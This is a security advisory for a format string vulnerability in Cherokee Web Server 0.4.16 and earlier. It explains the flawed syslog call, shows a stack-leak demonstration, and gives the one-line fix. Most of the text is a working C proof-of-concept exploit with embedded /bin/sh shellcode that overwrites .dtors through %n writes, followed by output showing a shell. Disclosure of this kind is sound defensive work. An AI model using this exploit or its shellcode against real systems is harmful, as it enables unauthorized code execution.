------------------------------------------------- No System Group - Advisory #3 - 17/04/04 ------------------------------------------------- Program: Cherokee Web Server Homepage: http://www.0x50.org Vulnerable Versions: Cherokee 0.4.16 and prior Risk: Low / Medium Impact: Local Format String Vulnerability ------------------------------------------------- - DESCRIPTION ------------------------------------------------- Cherokee is a tiny, very fast, lightweight Web server. It is implemented entirely in C, and has no dependencies beyond a standard C library. It is embeddable, extensible with plug-ins, and supports on-the-fly configuration by reading files or strings. More informations at: http://www.0x50.org - DETAILS ------------------------------------------------- Cherokee Web Server is affected by a format string bug in the PRINT_ERROR() function to 66 lines of common.c code: --- common.c --- 55: void 56: PRINT_ERROR (const char *format, ...) 57: { 58: va_list arg_list; 59: CHEROKEE_TEMP(tmp, 2048); 60: 61: va_start(arg_list, format); 62: vsnprintf (tmp, tmp_size, format, arg_list); 63: va_end(arg_list); 64: 65: fprintf (stderr, "%s", tmp); 66: syslog (LOG_ERR, tmp); // The bug 67: } --- common.c --- We can show some parts of the stack memory by using a format string loke this: coki@servidor:~$ cherokee -C AAAA%08x Can't read the configuration file: 'AAAA%08x' coki@servidor:~$ tail -n 1 /var/log/syslog Apr 17 15:03:25 servidor cherokee: Can't read the configuration file: 'AAAA0804b780' coki@servidor:~$ - EXPLOIT ------------------------------------------------- ---------------- cherokee_exp.c ----------------- /* cherokee_exp.c Cherokee Web Server Format String Vulnerability Cherokee <= 0.4.16 local exploit (Proof of Concept) Tested in Slackware 9.0 and Slackware 9.1.0 by CoKi <coki@nosystem.com.ar> No System Group - http://www.nosystem.com.ar */ #include <stdio.h> #include <string.h> #define PATH "/usr/local/bin/cherokee" #define OBJDUMP "/usr/bin/objdump" #define GREP "/usr/bin/grep" unsigned char shellcode[]= /* aleph1 shellcode.45b */ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c" "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb" "\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e" "\x2f\x73\x68"; int check(unsigned long addr); int main(int argc, char *argv[]) { int i, dtorsaddr; unsigned int bal1, bal2, bal3, bal4; char temp[512]; char buffer[1024]; char nop1[255], nop2[255]; char nop3[255], nop4[255]; int cn1, cn2, cn3, cn4; FILE *f; char *env[3] = {shellcode, NULL}; int bufaddr = 0xbffffffa - strlen(shellcode) - strlen("/usr/local/bin/cherokee"); /* finding .dtors address */ sprintf(temp, "%s -s -j .dtors %s | %s ffffffff", OBJDUMP, PATH, GREP); f = popen(temp, "r"); if(fscanf(f, " %08x", &dtorsaddr) != 1) { pclose(f); printf("Cannot find .dtors address\n"); exit(1); } pclose(f); dtorsaddr = dtorsaddr + 4; printf("\n Cherokee <= 0.4.16 local exploit (Proof of Concept)\n"); printf(" by CoKi <coki@nosystem.com.ar>\n\n"); printf(" shellcode address = %.8p\n", bufaddr); printf(" .dtors address = %.8p\n\n", dtorsaddr); bzero(temp, sizeof(temp)); bzero(buffer, sizeof(buffer)); /* adding .dtors address */ for(i = 0; i < 4; i++) { bzero(temp, sizeof(temp)); sprintf(temp, "%s", &dtorsaddr); strncat(buffer, temp, 4); dtorsaddr++; } /* convert buffer address location */ memset(nop1, 0, 255); memset(nop2, 0, 255); memset(nop3, 0, 255); memset(nop4, 0, 255); bal1 = (bufaddr & 0xff000000) >> 24; bal2 = (bufaddr & 0x00ff0000) >> 16; bal3 = (bufaddr & 0x0000ff00) >> 8; bal4 = (bufaddr & 0x000000ff); cn1 = bal4 - 16 - 36 - 88 - 2; cn1 = check(cn1); cn2 = bal3 - bal4 - 2; cn2 = check(cn2); cn3 = bal2 - bal3 - 2; cn3 = check(cn3); cn4 = bal1 - bal2 - 2; cn4 = check(cn4); memset(nop1, '\x90', cn1); memset(nop2, '\x90', cn2); memset(nop3, '\x90', cn3); memset(nop4, '\x90', cn4); sprintf(temp, "%%08x%%08x%%08x%%08x%%08x%%08x" "%%08x%%08x%%08x%%08x%%08x" "%s\xeb\x02%%n" "%s\xeb\x02%%n" "%s\xeb\x02%%n" "%s\xeb\x02%%n\x90\x90\x90\x90" ,nop1, nop2, nop3, nop4); strcat(buffer, temp); execle(PATH, "cherokee", "-C", buffer, NULL, env); } int check(unsigned long addr) { char tmp[128]; snprintf(tmp, sizeof(tmp), "%d", addr); if(atoi(tmp) < 1) addr = addr + 256; return addr; } ---------------- cherokee_exp.c ----------------- coki@servidor:~$ make cherokee_exp coki@servidor:~$ ./cherokee_exp Cherokee <= 0.4.16 local exploit (Proof of Concept) by CoKi <coki@nosystem.com.ar> shellcode address = 0xbfffffb6 .dtors address = 0x0804c590 Can't read the configuration file: '....%08x%08x%08x% 08x%08x%08x%08x%08x%08x%08x%08x...................... ..................................................... ..................................................... .................' sh-2.05b$ This exploit does not give a root shell :( Tested in Slackware Linux 9.0.0 and 9.1.0 - SOLUTIONS ------------------------------------------------- Change the PRINT_ERROR() function of common.c code: --- common.c --- 55: void 56: PRINT_ERROR (const char *format, ...) 57: { 58: va_list arg_list; 59: CHEROKEE_TEMP(tmp, 2048); 60: 61: va_start(arg_list, format); 62: vsnprintf (tmp, tmp_size, format, arg_list); 63: va_end(arg_list); 64: 65: fprintf (stderr, "%s", tmp); 66: syslog (LOG_ERR, "%s", tmp); // It's ok 67: } --- common.c --- - REFERENCES ------------------------------------------------- http://www.nosystem.com.ar/advisories/advisory-03.txt - CREDITS ------------------------------------------------- Discovered by CoKi <coki@nosystem.com.ar> No System Group - http://www.nosystem.com.ar